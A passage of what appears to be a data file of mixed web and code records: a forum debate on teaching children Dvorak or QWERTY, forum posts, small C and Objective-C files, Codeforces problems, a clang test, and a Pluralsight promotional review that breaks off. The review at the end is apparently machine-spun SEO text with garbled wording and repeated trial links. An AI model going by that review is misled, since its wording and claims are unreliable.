don’t use Dvorak, but I’ve been intrigued by alternative layouts for years. I taught my daughter QWERTY years ago. My reasoning was that the speed difference between QWERTY and other layouts isn’t great, technology may change input methods before she was typing enough to worry about repetitive use injuries, and primarily because QWERTY keyboards are everywhere. At school the ubiquitous keyboards are all QWERTY and at work likewise.\nAs an EMACS user I bind my keyboard’s caps lock to ctrl. That makes me realize just how often I’m typing on someone else’s keyboard (my fingers automatically hit caplock-B instead of back arrow for example). If I used Dvorak I think it would be much more frustrating trying to use a random keyboard.\nIt didn’t take very long to teach my daughter touch typing. I would place my fingers on top of hers at first and touch her fingers during simple typing lessons to show her which finger to use. This seemed to allow her to connect a letter to the correct finger very quickly.\nXah Lee has studied typing and keyboards for years. Take a look at his web site; it’s full of information . He’s a Dvorak user.\nYou can be bilingual in layouts.\nI first learned QWERTY without any training, I needed to type for school and I wasn’t gonna hunt and peck. Then I decided to try out Dvorak for comfort and never looked back. (Though the experience was painful to switch over after years of QWERTY)\nI can still type QWERTY, in fact that’s what I use on my tablet with my thumbs, it’s a great layout for thumb typing, rarely do I find my fingers reaching over one another and I can type without looking at my screen.\nThat said, for physical tacticile button pressing, I much prefer Dvorak, even without labels (typing on a MacBook keyboard for example, I ignore the QWERTY printed layout) I don’t have difficulty. It’s all about the physical sensation and which mode or language or whatever gets invoked in my head.\nI cannot type QWERTY effectively on MacBook keyboards or on most mechanical ones now, because of how they feel and what I use that feel for. But if it’s a cheapo Logitech or dell keyboard that you find at public locations and at work, there is barely a moment of conflict.\nI switched from QWERTY to my language's equivalent of Dvorak and a few years later back.\nI think most important than the layout itself, is to learn how to touch type. Keeping your fingers on the home row. Using opposing control characters instead of using one hand to reach multiple keys, etc etc.\nWhy not both? If you're teaching kids, as long as you keep them interested, they'll learn anything. Knowing both, they'll be able to both use shared systems and choose the preferred layout for private situations.\nI looked at learning an alternative layout last year and opted against Dvorak, as to me it just seemed illogical (personal opinion). I ended up teaching myself the Workman layout instead (https://workmanlayout.org/) which is actually really nice. I was using a split keyboard and I found it very comfortable when typing prose, but I found punctuation frustrating due to the board I was using it on. I'm currently back on Qwerty as I've swapped to a different board.\nUltimately I discovered that my typing style with Qwerty was actually not stressful on the hands (I float over the keyboard a lot and definitely don't sit on the \"home\" keys) and my RSI at the time was instead caused by position and lack of exercise. I now type on a Japanese layout keyboard which has some interesting differences to the standard UK ISO layout. At some point I might give Workman a go on this board too, but currently I'm actually completely happy with Qwerty again. I think a lot of these alternative layouts suffer problems if you aren't a home-row typist, and I don't actually think it's unergonomic or incorrect to type in a more floating, active way. But I play a bunch of key-based instruments too so maybe that affects my preference :)\nIt took me about 1 month to be close to my normal typing speed when using Workman btw.\nDvorak. I know 5 people, including myself, that switched to Dvorak and none of us regretted it or switched back.\nIt's not about speed, at least for me, but reducing stress on fingers and prevent inflammation and RSI.\nTouch-typing comes easier with Dvorak. Even better if you use a Dvorak layout on a querty keyboard: there's no point in looking at the keys and this is also good for back/neck posture.\nPlease ignore all the people who insist on using qwerty without having had at least a year of Dvorak use experience.\nI’ve heard Dvorak users complain the regular shortcuts are geared up for QWERTY. I’ve also heard that Dvorak isn’t any faster. All anecdotal of course.\nThe most common shortcuts do tend to be on the left side of a Qwerty, but in a Windows environment at least, almost every letter key is bound to a common shortcut. As an avid shortcut user, the only letters for which I can't remember a hotkey is Y, and M if you don't use Win+M.\nPrograms like AutoHotkey can solve that issue when available.\nDepending on the system, you can create layouts where ctrl/alt give you temporary qwerty layout and revert as soon as you let go. That would solve most shortcut issues.\nOthers answered the question, I'm just about this \"I'm too old to switch\" bullshit.\nWhatever age you are, it will be hard. It will be very uncomfortable at first. But that's kind of great. You get to teach your brain something new. Keep pushing that neuroplasticity.\nWhen you are old(er) it's really hard to learn something truly new. Learning most things is just connecting a few existing patterns. You'll get some dopamine and you will be really proud that you've done that.\nYou can also rationalize that it will pay off on the long run, but let's be real, if you are an advanced programmer you likely spend more time thinking than typing. It can be a more pleasurable experience to type though.\nTake the challenge and teach yourself Dvorak (or Colemak, doesn't matter). Even if you are a proficient typer it's also a chance to do some refactoring of the skill.\nI use Dvorak, I'm faster in Dvorak, and have less RSI issues. As an adult that works from hardware I control I almost never have to type QWERTY anymore.\nIn the past things like computer labs, and locked down school computers would have pushed me to recommend QWERTY. Nowadays everyone has their own iPad, or laptop, so this is much less of an issue.\nThe only time I have issues is during computerized testing, or using someone else's computer. I have a USB dongle that I can put between the keyboard and computer that'll swap the characters I type Dvorak, and the dongle swaps the QWERTY input to the correct ones as I go.\nFor testing I can request they change the layout, but it rarely gets approved. For random people, they usually let me add another layout without issue.\nI'm recommending Dvorak, but there will still be a few pain points.\nIf you're willing to put in the effort of teaching them touch typing on a real keyboard (by blanking out the keycaps or whatnot), go ahead and teach them on Colemak or Dvorak or whatnot.\nI don't care much for the arguments of the ubiquity of Qwerty for multiple reasons:\n1. They will be exposed to Qwerty on devices where touch-typing is meaningless, such as smartphones and tablets.\n2. They will learn Qwerty eventually anyway, and they'll be proficient in both. Why set them off on the worse of the two options from the start?\n3. I'm sure schools and other parts of society are moving away from shared workstations onto personal laptops, where they get to control keyboard settings.\n4. If I had to choose between being doomed to RSI or encountering keyboard incompatibilities every now and then, I would not pick RSI lightly.\nLearning Colemak was painful for a while, but worth it many, many times over in retrospect.\n> 1. They will be exposed to Qwerty on devices where touch-typing is meaningless, such as smartphones and tablets.\nI'm not sure having a keyboard layout completely interalized is ever really meaningless. For example, I typed this entire reply on my phone without looking at the keyboard once, based solely on knowledge of the positions of the different keys in relation to one another. Furthermore, even if I had been looking at the keyboard, having memorized the locations of everything in some part of my mind would definitely make it faster to type than if I had no idea where anything was. Besides, if someone were most familiar with a non-Qwerty layout, why wouldn't they just set their phone to that?\n> If I had to choose between being doomed to RSI or encountering keyboard incompatibilities every now and then, I would not pick RSI lightly.\nIs the situation with QWERTY really that dire?\nI taught myself Dvorak my first year in undergrad. It definitely felt easier to type, but as soon as I went to physics lab I realized I couldn't use the lab computer! I have stuck to Qwerty since then.\nWhen your children go to school, do you think using Dvorak will make it easier or harder to use school computers?\nPerhaps people should also consider ergonomics. QWERTY tends to require a lot more finger movement.\nOver a lifetime this might lead to RSI.\nI don't think there are really any downsides. I can type in both Dvorak and QWERTY at over 120wpm and don't have any trouble switching between the two. I also use QWERTY on my phone, so maybe that helps a bit.\nDvorak is definitely superior to QWERTY comfort-wise (I used to get bad RSI with QWERTY, but that doesn't happen for Dvorak), and maybe speed-wise, though my speed in both is about the same. I can keep up a high rate of speed on Dvorak longer than QWERTY, though.\nAn an aside, I don't think you're ever too old to try something new. I learned Dvorak as an adult and it only took me a couple weeks before I was up to my QWERTY speed. Interestingly enough, after I learned Dvorak my speed with QWERTY actually increased, for whatever reason.\nChoose a comfortable layout but also consider hardware and software support for it. Dvorak is a good choice. Comfortable enough and well supported. QWERTY is probably one of the worst layouts for your fingers.\nI'm using Dvorak and I can still type on QWERTY keyboards with 70% of my normal speed.\nI'm pretty sure the total amount of time that I'm typing on someone else's computer (QWERTY) is less than one hour per year and I don't need speed or accuracy when it happens. Not to mention, my external keyboard supports Dvorak in hardware level. So I could just connect my keyboard and type Dvorak on any computer without changing any configuration. But it happens so rarely that I don't bother to do it.\nI think this is almost the same as asking \"should I encourage my ambidextrous child to write with his left or right hand?\" You can get by just fine as a lefty, but there are daily annoyances, because the world is built for righties.\nKeyboards are on computers, phones, on-screen in video games and TVs, on vending machines, and in car entertainment systems. Some of these can be converted into Dvorak if you find the right menu setting, others must be used as-is.\nIf someone hands you their phone or you sit down to pair program, now you have to figure out some menu setting, and then you have to remember to reverse it when you're done or the owner of the device is going to be annoyed with you. Not worth it.\nTeach them to use QWERTY first. It's the layout that almost everyone uses and it's one of the skills that will make them relevant in the modern workforce. The last thing an employer wants to deal with is some sap that shows up pissing and moaning that they need a new keyboard.\nTeaching them DVORAK first is like raising your kids to speak Esperanto as a primary language. Sure, maybe it's an objectively better language, but at what cost?\nIf they actually get to the point that they're typing enough that they're interested in pursuing more efficient/ergonomic layouts, that's a choice that is best left up to them.\nLooks like there's already plenty here you can use to make an informed decision, but one more thing to think about:\nTyping speed, beyond a basic level of competence, has pretty much nothing to do with programming skill. In fact, if your bottleneck is typing speed, you're likely better off stopping and spending some time thinking about how you might be doing things differently. (Not that we haven't all been there, but it should be a vanishingly small proportion of your overall time, hopefully.)\nI learnt QWERTY as a kid/teenager in Australia.\nArriving in France 13 years ago I was a bit lost tempoararily with the switch to AZERTY, almost to the point of seeking out a keyboard online to get back to a ‘normal’ keyboard. I stuck it out, though, and soon anything but AZERTY seemed strange and slow - visiting my parents in London and henpicking around their keyboard when I am meant to be ‘the tech-y one’ is always a little amusing.\nGo with QWERTY, and if they want to change later they can and will.\nYou are not too old to learn Dvorak. If you're interested in it, go for it. It took me about a week and it was a fun project. Then, after a few months I dropped it and went back to Qwerty. The world uses Qwerty and I was being too contrarian.\nThere's no need to subject your kids to this mess of a debate. You don't even use Dvorak at home. There's basically no chance they'd continue to use it later in life. Prepare them for the world that's actually out there.\nIf you live in the United States, one thing to consider is that the GRE (Graduate Record Examination, standardized entrance examination for graduate school) requires the test-taker to type an essay on a QWERTY keyboard, with no possibility of using a different keyboard layout short of a documented disability. Further, spelling counts on this essay, so typos made due to unfamiliarity with the keyboard layout will bring down the grade.\nI type somewhere between 90-103 WPM on a QWERTY layout, and I'm not even using proper home row position. My uncle let me play with a computer starting from the age of 5, and so by the time they taught us \"keyboarding\" in high school, my self-taught method was pretty set in stone. I only use maybe 6 of my 10 fingers when typing.\nWhich is to say, your children will be fine. Just let them practice, and they'll get more than fast enough.\nThe QWERTY standard has lasted since the Remington 2, and most devices are based on it. That's what you should teach your children first. If you intend to teach them languages early, QWERTZ or AZERTY might be valuable. If you're thinking of teaching them Mandarin, teach them to use a Chinese keyboard as well as QWERTY.\nMaybe not the best analogy, but teaching Dvorak is like forcing left-handed child to write with right hand. But maybe it’s other way around. I wouldn’t actively try to teach them anything, but let them learn on their own. At some point they would understand that my laptop keyboard is different from mommy’s and adapt accordingly.\nThe reason it's not the best analogy is because keyboard layout is not biologically programmed like handedness. If anything, Dvorak being more ergonomic makes it more biologically friendly.\n> I wouldn’t actively try to teach them anything, but let them learn on their own.\nNot to dole out parenting advice, but not influencing your kid concerning a fundamental skill like typing is 1) a mistake, & 2) unavoidable once they start asking questions.\nThey might find greater ease with learning both at this point in life. But unless you homeschool, the probability that your children will have to work on QWERTY computers they don't have the ability to change into Dvorak input mode at school approaches 1. They'll need it.\nNo one has ever presented hard evidence that another layout is faster or healthier. Any job that requires typing faster than you can think would have to be mindless and, no matter what keyboard, would likely result in RSI. I wouldn't recommend anyone take that job.\nI also have kids and am interested in the same question, but I would raise it up a level and ask: \"Should I teach my kids to type?\"\nRight now they mostly use voice recognition and seem to be getting along pretty well...\nLearning to touch type was probably life changing for me. I write quite a lot of reports, business plans, proposals, grant applications etc. and I can type nearly as fast as I can verbalise what I am thinking, and it has made me super productive compared to when I couldn’t type.\nYou can't take notes in a public / busy / quiet place using voice recognition. You can't do it at lectures and conferences either.\nVoice recognition will continue to improve but even for those situations where using it is appropriate, typing has a random access aspect with writing that you don't really have with voice. (Though, to be sure, I assume giving dictation will probably become a skill that many people acquire again.)\nBut, yes, typing properly is probably a worthwhile skill to have. It's something I'm a bit sorry I never learned properly. (Also shorthand.)\nVoice typing will never be robust enough to handle the innumerable use cases of text input, even if the technology were significantly improved from where it is now. As a trivial example, inputting information that you don't want to be heard by whoever's around.\nMore concretely speaking, do you think their teachers & future employers would be OK with them not knowing a computing skill that's become fundamental to modern life?\nI can not imagine trying to use voice recognition for programming for one thing.\nAnd I don't think COBOL or BASIC will suddenly have a huge comeback.\nDon't worried. Let them choose what to play with. They will learn faster than you, I promise.\nOff-topic: I'm kinda worried our kids might not know or use pens correctly if we keep pushing keyboard use.\nbeen there, use qwerty.\n1. every keyboard in the wild they encounter will be qwerty\n2. probably a matter of time before keyboard is fully optional/non existent.\nThis will give them zero \"advantage\" in the real world.\nYou gonna teach them to carry a Dvorak keyboard with them everywhere they go too?", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 9593, "token_count_with_eod": 9594, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "On 2014-06-06 02:46, Carlos Alberto Lopez Perez wrote:\nFor the future... is there any site where one can manually download the packages waiting on the queue? I know about incoming.debian.org, but this openssl:i386=0.9.8o-4squeeze15 don't seems to be there\nThe package doesn't appear to be updated yet for amd64 at http://http.debian.net/ either.\nI've checked intermittently since the announcement. -- Cheers, Jan", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 115, "token_count_with_eod": 116, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "additional locked modules on disc\nPosted 17 September 2008 - 09:36 AM\nMy questions is, does the disc that comes with the scholars 8 premier package come with all the unlocked library 8 premier content? If so how would I go about unlocking it?\nI live in Nigeria so mail order is a big problem, however, if the disc I have already has the content I could simply purchase the codes needed to unlock it.\nThanks for the help.\nPosted 17 September 2008 - 09:49 AM\nPosted 17 September 2008 - 10:02 AM\nYes, not only is the Library Premier all on the same DVD so you can purchase just a code, but you can also request the Double Bundle package with both Premier levels, for extra savings (within 3 months).\nThat sounds great! I have already purchased the scholars premier pack, so how would I go about taking advantage of the bundle offer? I can't see any option of an upgrade just the full bundle itself.\nPosted 17 September 2008 - 10:25 AM\nPosted 17 September 2008 - 11:40 AM\nI just sent the order and with the savings I was able to get the super premier double bundle (I love that name) and also the ANF fathers collection which I have been dying to get my hands on for ages.\nThanks very much for your help.\n0 user(s) are reading this topic\n0 members, 0 guests, 0 anonymous users", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Incremental Backup Definition\nAn incremental backup is defined as a security copy that contains files that have been altered since the last backup. There are several types of incremental backups, including byte-level incremental backup, block-level incremental backup and incremental forever backup. Below, we go into more detail about incremental backups to help you understand the full definition.\nFull Backup vs. Incremental Backup\nAs the name suggests, a full backup is a complete backup of every file you wish to backup. Since a full backup only requires one set of backup data, restoration occurs quickly, but can have high storage requirements.\nUnlike full backup, incremental backup copies the parts of files that have changed since the previous backup, saving valuable time and storage space.\nTypes of Incremental Backups & Their Definitions\nAccording to Computer Weekly, incremental backups copy all of the files that have changed since the last backup was made. They do this whether the last backup was a full one or an incremental copy. So if a full backup was done on day one, day two's incremental will back up all of the files that have changed since day one. Likewise, day three's incremental backup will only copy those files that have changed since day two's incremental took place.\"\nByte-level incremental backups help reduce the amount of computation required to determine duplicate data by monitoring individual bytes that have changed within a file system.\nBlock-level incremental backups are more efficient than file-level backups because rather than the entire file being backed up, only the changed blocks are backed up. According to TechTarget, \"Each block acts as an individual hard drive and is configured by the storage administrator. These blocks are controlled by the server-based operating system, and are generally accessed by Fibre Channel (FC), Fibre Channel over Ethernet (FCoE) or iSCSI protocols.\"\n- Incremental forever backups help ensure that you are only backing up what you have to during the backup process, because only blocks that have changed since the first backup are sent to the data center.\nContinuous Backup From LOGICnow\nSolarWinds MSP (formerly LOGICnow) helps reduce the maintenance burdens of IT professionals through innovative solutions. With SolarWinds MSP, organizations can restore incremental backups after they happen and automatically update protected data sources from a single dashboard. Contact SolarWinds MSP today to learn more!\nComputer Weekly: http://www.computerweekly.com/news/1347703/Incremental-vs-differential-backup-A-comparison", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 501, "token_count_with_eod": 502, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Hi! is there any bundle, containing qtcreator?\nI don’t think it is packaged with Clear Linux.\nHere is a previous forum post about manually installing it though:\nIt’s packaged, however it is not in any bundle\nOK, 4.9.1 will be available soon (ongoing pkg update & bundle)\n@User_User release 30010 has the bundle", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "//\n//  MThemeFiveV.h\n//  ipad\n//\n//  Created by Zhang Xinrong on 2018/11/12.\n//  Copyright © 2018 nil. All rights reserved.\n//\n\n#import <UIKit/UIKit.h>\n#import \"YSEQPThemeFiveModel.h\"\n\nNS_ASSUME_NONNULL_BEGIN\n\n@interface MThemeFiveV : UIView\n@property(nonatomic,strong)NSMutableArray *selectedArray;\n@property(nonatomic,strong)UILabel *titleLabel1;\n@property(nonatomic,strong)UIButton *btn1;\n@property(nonatomic,strong)UIButton *btn12;\n@property(nonatomic,strong)UIButton *btn13;\n@property(nonatomic,strong)UIButton *selected1;\n@property(nonatomic,strong)UIButton *selected2;\n@property(nonatomic,strong)UIButton *selected3;\n@property(nonatomic,strong)UIButton *btn2;\n@property(nonatomic,strong)UILabel *titleLabel2;\n@property(nonatomic,copy)void(^selectedBlock)(UIButton *sender, YSEQPThemeFiveModel *model);\n@property (nonatomic, strong) YSEQPThemeFiveModel *model;\n-(void)initToDefalut;\n@end\n\nNS_ASSUME_NONNULL_END", "source": "cpt_stack_code", "language": "code", "token_count": 242, "token_count_with_eod": 243, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "#include<stdio.h>\n#include<math.h>\n\nint main()\n{\n    int bin, dec, p, q, c=-1;\n\n    scanf(\"%d\", &bin);\n\n    dec=0;\n\n    while(bin)\n    {\n        p=bin/10;\n        q=bin%10;\n        ++c;\n        dec += q * pow(2,c);\n        bin=p;\n    }\n\n    printf(\"%d\\n\", dec);\n\n    return 0;\n\n\n}", "source": "cpt_stack_code", "language": "code", "token_count": 113, "token_count_with_eod": 114, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Scientists use a tool called a phylogenetic tree to show the evolutionary pathways and relationships between organisms. A phylogenetic tree is a diagram used to reflect evolutionary relationships among organisms or groups of organisms. The hierarchical classification of groups nested within more inclusive groups is reflected in diagrams. Scientist consider phylogenetic trees to be a hypothesis of the evolutionary past because one cannot go back through time to confirm the proposed relationships.\nUnlike with a taxonomic classification, a phylogenetic tree can be read like a map of evolutionary history, as shown in Figure 12.4. Shared characteristics are used to construct phylogenetic trees. The point where a split occurs in a tree, called a branch point, represents where a single lineage evolved into distinct new ones. Many phylogenetic trees have a single branch point at the base representing a common ancestor of all the branches in the tree. Scientists call such trees rooted, which means there is a single ancestral taxon at the base of a phylogenetic tree to which all organisms represented in the diagram descend from. When two lineages stem from the same branch point, they are called sister taxa, for example the two species of orangutans. A branch point with more than two groups illustrates a situation for which scientists have not definitively determined relationships. An example is illustrated by the three branches leading to the gorilla subspecies; their exact relationships are not yet understood. It is important to note that sister taxa share an ancestor, which does not mean that one taxon evolved from the other. The branch point, or split, represents a common ancestor that existed in the past, but that no longer exists. Humans did not evolve from chimpanzees (nor did chimpanzees evolve from humans) although they are our closest living relatives. Both humans and chimpanzees evolved from a common ancestor that lived, scientists believe, six million years ago and looked different from both modern chimpanzees and modern humans.\nThe branch points and the branches in phylogenetic tree structure also imply evolutionary change. Sometimes the significant character changes are identified on a branch or branch point. For example, in Figure 12.5, the branch point that gives rise to the mammal and reptile lineage from the frog lineage shows the origin of the amniotic egg character. Also the branch point that gives rise to organisms with legs is indicated at the common ancestor of mammals, reptiles, amphibians, and jawed fishes.\nThis interactive exercise (http://openstaxcollege.org/l/tree_of_life3) allows you to explore the evolutionary relationships among species.\n- 2122 reads", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Jzzhu have n non-negative integers a1, a2, ..., an. We will call a sequence of indexes i1, i2, ..., ik (1 ≤ i1 < i2 < ... < ik ≤ n) a group of size k.\n\nJzzhu wonders, how many groups exists such that ai1 & ai2 & ... & aik = 0 (1 ≤ k ≤ n)? Help him and print this number modulo 1000000007 (109 + 7). Operation x & y denotes bitwise AND operation of two numbers.", "source": "cpt_codeforces", "language": "en", "token_count": 122, "token_count_with_eod": 123, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "// RUN: not %clang %s --hedonism -### 2>&1 | \\\n// RUN: FileCheck %s\n// RUN: not %clang %s --hell -### 2>&1 | \\\n// RUN: FileCheck %s --check-prefix=DID-YOU-MEAN\n\n// CHECK: error: unsupported option '--hedonism'\n// DID-YOU-MEAN: error: unsupported option '--hell'; did you mean '--help'?", "source": "cpt_stack_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Let's call an array of $$$k$$$ integers $$$c_1, c_2, \\ldots, c_k$$$ terrible, if the following condition holds:\n\n- Let $$$AVG$$$ be the $$$\\frac{c_1 + c_2 + \\ldots + c_k}{k}$$$(the average of all the elements of the array, it doesn't have to be integer). Then the number of elements of the array which are bigger than $$$AVG$$$ should be strictly larger than the number of elements of the array which are smaller than $$$AVG$$$. Note that elements equal to $$$AVG$$$ don't count.For example $$$c = \\{1, 4, 4, 5, 6\\}$$$ is terrible because $$$AVG = 4.0$$$ and $$$5$$$-th and $$$4$$$-th elements are greater than $$$AVG$$$ and $$$1$$$-st element is smaller than $$$AVG$$$.\n\nLet's call an array of $$$m$$$ integers $$$b_1, b_2, \\ldots, b_m$$$ bad, if at least one of its non-empty subsequences is terrible, and good otherwise.\n\nYou are given an array of $$$n$$$ integers $$$a_1, a_2, \\ldots, a_n$$$. Find the minimum number of elements that you have to delete from it to obtain a good array.\n\nAn array is a subsequence of another array if it can be obtained from it by deletion of several (possibly, zero or all) elements.", "source": "cpt_codeforces", "language": "en", "token_count": 326, "token_count_with_eod": 327, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Pluralsight – Ruby Beyond The Basics\nPluralsight is one of the most preferred platforms out there for finding training courses across a number of categories when it comes to online knowing in the tech space. And as we’ll talk about in the Pluralsight evaluation below, its popularity among technology experts has actually most definitely been earned.\nIf you are an IT specialist, you know that staying up-to-date on the current innovation is essential to your success. You also know that this can be hard, especially if you do not have the moment or cash to attend pricey training programs.\nThat’s where Pluralsight can be found in.\nWith its substantial library naturally on whatever from programming to networking, Pluralsight is best for anyone that intends to remain ahead of the curve in the tech world.\nThis Pluralsight review covers everything you need to understand about this fantastic platform. It’s a complete guide to Pluralsight’s training courses, rates, trainers, and extra!\nWhat is Pluralsight?\nPluralsight is an on the internet knowing platform that uses courses in different disciplines with a particular concentrate on technology abilities.\nToday, Pluralsight has more than 7,000 programs in its brochure, covering everything from programs as well as internet growth to organization and also creative abilities.\nWith a goal to equalize technology skills, Pluralsight gives members with the devices they need to remain ahead of the curve in an ever-changing globe.\nPluralsight likewise uses a range of functions to help learners stay on track, including program certificates, development tracking, and also course referrals.\nIn addition, Pluralsight uses a premium registration that offers individuals access to exclusive content and functions, such as offline viewing as well as Pluralsight IQ. Whether you’re simply looking or beginning to comb up on your abilities, Pluralsight is a great source for learning brand-new points.\nVisit this site to attempt Pluralsight cost-free for 10 days.\nWho Teaches on Pluralsight?\nIt’s a very crucial concern that everyone asks. People need to know if the training has trustworthiness. It most definitely does when it comes to Pluralsight as well as its instructors.\nPluralsight is special because every one of its courses are instructed by professional teachers who are leaders in their corresponding fields.\nBecause of this, Pluralsight trainees can be confident that they obtain the most recent and also most precise details feasible. The instructors on Pluralsight are meticulously chosen for their know-how as well as capability to involve and educate learners.\nAdditionally, Pluralsight offers numerous methods for teachers to personalize their programs, making certain that each course is customized to the student’s requirements. Likewise, Pluralsight gives both live and tape-recorded training courses so that students can select the discovering style that finest matches them.\nPluralsight additionally provides added sources to aid learners succeed, consisting of:\n- Specialist suggestions\n- Training course Discounts\n- Exceptional Support System\n- An active neighborhood forum\nMillions of learners globally trust Pluralsight as a resource of high-quality, expert-led instruction! It’s likewise changing the means individuals learn worldwide, and it’s quickly coming to be the go-to location for everyone attempting to enhance their abilities.\nWhat Can You Learn on Pluralsight?\npluralsight training courses\nFinding out a brand-new ability isn’t hard as long as you have a great system like Pluralsight.\nAs well as, since Pluralsight is always including brand-new programs, you’re certain to discover something that’s right for you.\nPluralsight’s outstanding features make finding out easy and enjoyable, such as training course referrals, interactive exercises, and professional instructors.\nA few of the training course groups you can explore on Pluralsight consist of:\n- Design & construction\n- Organization specialist\n- Creative expert\n- Data expert\n- IT ops\n- Manufacturing & layout\n- Info & cyber protection\n- Software program growth\n- Web advancement\nWith over 7,000 programs available, Pluralsight has a course for every person, from those just beginning their jobs to those aiming to maintain their abilities existing.\nPluralsight offers abilities analyses as well as a job course tool to assist students identify which training courses will help them reach their profession objectives. They are additionally among the largest online training carriers.\nVisit this site to try Pluralsight free for 10 days.\nJust How Much Does Pluralsight Cost?\nPluralsight rates depends on the type of subscription that you pick. Below’s a standard introduction of the Pluralsight bundles:\nThe Standard Package costs $29 monthly. If you choose to pay each year, it will certainly aid you conserve approximately 14%, and the cost you will certainly have to pay would be $299.\nPremium Package sets you back $45 monthly, or an yearly membership would certainly be $449.\nBeginner: $33.25/ month.\nExpert: $48.25/ month.\nBusiness: $64.91/ month.\nPluralsight likewise supplies excellent price cuts for pupils and instructors . Pluralsight supplies unbelievable price cuts on group packages for annual memberships.\nPluralsight Free Trial Details.\nPluralsight does feature a free trial, which allows you to access all of the programs for 10 days. Throughout the trial duration, you can access 200 mins of Pluralsight web content.\nYou will certainly not be charged if you choose to terminate your registration within the 10-day test duration. Nonetheless, if you do not cancel your registration within the 10-day test period, you will be immediately charged for the monthly or annual registration, depending upon which alternative you pick.\nClick on this link to try Pluralsight totally free for 10 days.\nJust How does Pluralsight Pricing Compare to Other Platforms?\nPluralsight is just one of one of the most preferred on the internet discovering platforms worldwide, as well as what really establishes it apart from various other platforms is its large concentrate on tech understanding.\nHowever exactly how does the cost of Pluralsight compare to various other popular on the internet learning systems? Let’s contrast:.\n- LinkedIn Learning prices– $29.99 for month-to-month or $240 for an yearly subscription.\n- Masterclass rates– $180-$ 276 a year, no regular monthly strategies available.\n- Coursera pricing– $59 a month or $399 a year for a Coursera Plus membership.\n- Skillshare pricing– $167.88 per year, which works out to $13.99/ month averaged out.\nOn top of that, Pluralsight provides both business and individual plans, making it a flexible alternative for personal as well as specialist growth.\nThis makes Pluralsight an ideal system for those who want to get sensible experience and theoretical expertise.\nOverall, Pluralsight is a straightforward and also comprehensive learning platform suitable for people and also businesses at affordable prices.\nVisit this site to attempt Pluralsight free for 10 days.\nExactly How Does Pluralsight Work?\nPluralsight is changing the method individuals discover and also is aiding to make the world a better place for everybody.\nTrainees can register for Pluralsight training courses through the site and accessibility the material at their very own rate.\nPluralsight programs are split into modules, and also each component consists of a series of video lessons as well as tests. Students can see the video lessons as lot of times as they desire and also take the quizzes as lot of times as they require to grasp the material.\nPluralsight also supplies a certification of conclusion for every training course. With its flexible understanding layout and also expert-led courses, Pluralsight is a excellent way to get new skills or enhance existing ones.\nJust how to register for Pluralsight.\nRegistering for Pluralsight is simple and only takes a couple of mins.\nInitially, go to the Pluralsight internet site and develop an account. You can search the Pluralsight library as well as pick the courses you want to take once you have an account. You can additionally search for certain courses by key phrase or filter by topic.\nWhen you locate a training course you want to take, click on the “Sign Up” button. You will then be motivated to enter your payment details. Pluralsight provides a range of repayment choices, consisting of charge card, PayPal, etc!\nYou will be able to access your training course instantly as soon as you have selected a repayment approach. Pluralsight also supplies a complimentary trial to make sure that you can check out their platform before committing to a paid registration. So why wait? Register for Pluralsight today and also begin discovering something new!\nGo here to attempt Pluralsight cost-free for 10 days.\nExactly how to take Pluralsight courses.\nPluralsight courses are a great means to find out new skills as well as improve present ones. Right here’s exactly how to begin:.\nFirst, develop a Pluralsight account. You can do this by going to their site and clicking on the “Sign Up” button. Enter your details and click the “Create My Account” switch.\nWhen you have an account, you can browse through the training courses that Pluralsight supplies. Type the subject’s name into the search bar to discover a training course that interests you.\nFor instance, if you’re interested in learning about internet advancement, you would kind “Web Development” into the search bar.\nWhen you’ve located a training course you ‘d such as to take, click the “Enroll Now” button. Pluralsight will certainly then ask you to verify your enrollment. Once you’ve validated your registration, Pluralsight will include the program to your account, and you can start taking it instantly.\nPluralsight courses are self-paced, suggesting you can resolve them at your speed. They are likewise hands-on, with a lot of chances to practice what you’re learning. They are developed by market professionals, so you can be confident you’re obtaining the newest and biggest info.\nWhether you’re wanting to learn brand-new coding abilities or review your Photoshop strategies, Pluralsight has a program. So check them out today as well as see exactly how very easy it is to discover something new.\nPluralsight Features Explained.\nPrograms are expert-led and concentrate on useful abilities.\nPluralsight is a wonderful source for those wanting to learn new practical skills. The programs are expert-led as well as focus on giving users the skills they require to succeed in their field.\nPluralsight also provides a variety of various other features, such as the capability to create custom-made courses as well as quizzes that make it an vital resource for any person looking to enhance their skill set. Pluralsight is a fantastic resource for those looking to boost their useful skills.\nA variety of payment options are available.\nThe best thing about Pluralsight is that it uses a selection of settlement choices to suit any spending plan. You can pay by the month, year, or even acquire a life time membership. Pluralsight also uses discounts for trainees and also educators !\nSettlement Options Include.\nWhether you’re aiming to find out coding, internet development, or anything in between, Pluralsight is a excellent option– as well as with its adaptable repayment alternatives, there’s no reason not to give it a try!\nCertification of conclusion for each and every program.\nPluralsight likewise uses a certificate of conclusion for every course, separating it from various other online education and learning platforms. This can be very handy in building your resume as well as showing your skills to prospective employers.\nPluralsight is committed to assisting people find out new abilities and expand their careers, and also the business’s objective is to make premium education accessible to every person. For any person seeking to enhance their skills or learn something brand-new, Pluralsight is a fantastic option.\nGain new abilities or improve existing ones.\nPluralsight is a excellent method to acquire new abilities or improve existing ones! It supplies tons of courses on various topics to discover what you require to understand for your task or your personal life.\nPluralsight’s programs are instructed by experts who are passionate about their areas as well as understand exactly how to involve their students. Discovering a brand-new ability with Pluralsight comes to be a item of cake!\nFind out at your own pace.\nPluralsight has the advantage of allowing you to discover at your very own pace. It has a wide range certainly offered, so you can always find something interesting. And if you’re not sure regarding a certain program, Pluralsight provides totally free tests to try it prior to you buy.\nIt additionally has continual understanding paths to track your progress and also gauge your 